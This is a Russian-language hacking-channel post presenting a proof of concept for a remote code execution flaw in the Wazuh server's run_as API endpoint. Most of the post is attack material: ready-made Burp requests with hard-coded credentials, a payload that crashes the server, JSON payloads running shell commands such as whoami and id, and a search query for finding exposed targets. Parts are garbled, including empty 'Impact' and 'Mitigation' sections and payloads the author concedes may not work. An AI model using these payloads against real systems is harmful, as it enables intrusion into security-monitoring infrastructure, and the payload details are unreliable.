
В сервере Wazuh обнаружена критическая RCE-уязвимость, вызванная небезопасной десериализацией в пакете wazuh-manager. Эта ошибка затрагивает версии Wazuh ≥ 4.4.0 и исправлена в версии 4.9.1.
🚨 Удаленное выполнение кода в Wazuh (RCE) — PoC
В сервере Wazuh обнаружена критическая уязвимость RCE, вызванная небезопасной десериализацией в пакете
wazuh-manager. Эта ошибка затрагивает версии Wazuh ≥ 4.4.0 и исправлена в версии 4.9.1.
🔍 Подробности
Проблема заключается в DistributedAPI Wazuh API, где данные, управляемые пользователем, небезопасно десериализуются. Это позволяет злоумышленникам, имеющим доступ к API (например, через скомпрометированную панель управления или узел кластера), выполнять произвольный код Python на главном сервере через конечную точку
run_as.
📬 Proof of Concept (запрос Burp)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 Заголовок Authorization — это base64 от wazuh-wui:MyS3cr37P450r.*-.
📌 Эта полезная нагрузка вызывает завершение работы сервера Wazuh посредством вызова метода exit() в Python.
💥 Воздействие
🛡️ Меры по смягчению
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
Но сама по себе она не сработает, если код десериализации не выполняет дерево объектов. Вместо этого используйте объект на основе __reduce__, который выполняет код.
Вот рабочий формат для запроса Burp с использованием os.system() из Python через pickle-подобную логику:
💣 Рабочая RCE-нагрузка для Burp (выполнение кода Python)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 Чтобы выполнить ls, измените полезную нагрузку:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
Также можно использовать:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ Примечание: фактическая десериализация должна происходить через eval() или аналогичные механизмы в бэкенде, чтобы это сработало. Судя по PoC для Wazuh, это действительно возможно, если вы контролируете auth_context.
🔐 Профессиональный совет Перехватите запрос в Burp, перейдите на вкладку Repeater и протестируйте несколько полезных нагрузок, например:
"whoami""id""uname -a""ls /home/wazuh"👇 Поисковый запрос
product.name="Wazuh"app="Wazuh"Если ответ пустой или статус 500, проверьте логи — иногда вывод не возвращается. 📚 Оставайтесь продвинутыми, хакеры! Впереди ещё больше PoC для bug bounty, обходов и полезных нагрузок!
Подписывайтесь 👉 @cybersecplayground для ежедневного хакерского контента!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit